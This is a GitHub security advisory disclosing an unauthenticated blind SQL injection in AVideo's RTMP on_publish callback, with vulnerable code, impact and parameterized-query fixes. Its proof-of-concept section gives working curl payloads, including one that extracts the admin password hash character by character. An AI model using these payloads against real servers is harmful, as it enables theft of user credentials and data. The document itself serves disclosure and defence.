GHSA-8p58-35c3-ccxx

Suggest an improvement
Source
https://github.com/advisories/GHSA-8p58-35c3-ccxx
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-8p58-35c3-ccxx/GHSA-8p58-35c3-ccxx.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-8p58-35c3-ccxx
Aliases
Published
2026-03-20T20:47:19Z
Modified
2026-03-25T19:48:32Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter
Details

Summary

The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.

Details

Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.

Sanitization (insufficient): Line 117 strips only & and = characters:

// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);

Injection point #1 — unconditional (no p parameter needed):

At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():

// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);

Inside getLatest(), the key is interpolated into a LIKE clause without escaping:

// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE '{$key}%' ";
}

Injection point #2 — when $_GET['p'] is provided:

At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():

// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);

Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:

// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);

Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.

PoC

Injection point #1 (unconditional — simplest):

# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"

A ~5-second response time confirms injection. The payload:

  • Avoids & and = (stripped by line 117)
  • Avoids _ and - in positions where cleanUpKey() would split
  • Uses %23 (#) to comment out the trailing %'

Data extraction — character-by-character:

# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"

Injection point #2 (via keyExists):

curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"

This reaches keyExists() at line 146, producing:

SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1

Impact

An unauthenticated remote attacker can:

  1. Extract all database contents via time-based blind SQL injection, including:

    • User password hashes (bcrypt)
    • Email addresses and personal information
    • API keys, session tokens, and live stream passwords
    • Site configuration and secrets stored in database tables
  2. Authenticate as any user to the streaming system — extracted password hashes can be used directly as the $_GET['p'] parameter since on_publish.php:153 compares $_GET['p'] === $user->getPassword() against the raw stored hash, allowing the attacker to start streams impersonating any user.

  3. Enumerate database structure — the injection can be used to query information_schema tables, mapping the entire database for further exploitation.

The first injection point (via getLatest()) is reached unconditionally on every request — no additional parameters beyond name and tcurl are required.

Recommended Fix

Use parameterized queries in both affected functions:

Fix LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php:298-303:

$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql, "s", [$key]);

Fix LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php:494-495:

if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE ? ";
    $formats .= "s";
    $values[] = $key . '%';
}

Fix LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php:681-688:

if(!$strict){
    $parts = Live::getLiveParametersFromKey($key);
    $key = $parts['cleanKey'];
    $sql .= " `key` LIKE ? ";
    $formats = "s";
    $values = [$key . '%'];
}else{
    $sql .= " `key` = ? ";
    $formats = "s";
    $values = [$key];
}

All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.

Database specific
{
    "cwe_ids": [
        "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:47:19Z",
    "nvd_published_at": "2026-03-23T15:16:34Z",
    "severity": "HIGH"
}
References

Affected packages

Packagist / wwbn/avideo

Package

Name
wwbn/avideo
Purl
pkg:composer/wwbn/avideo

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
26.0

Affected versions

10.*
10.4
10.8
Other
11
11.*
11.1
11.1.1
11.5
11.6
12.*
12.4
14.*
14.3
14.3.1
14.4
18.*
18.0
21.*
21.0
22.*
22.0
24.*
24.0
25.*
25.0
26.*
26.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-8p58-35c3-ccxx/GHSA-8p58-35c3-ccxx.json"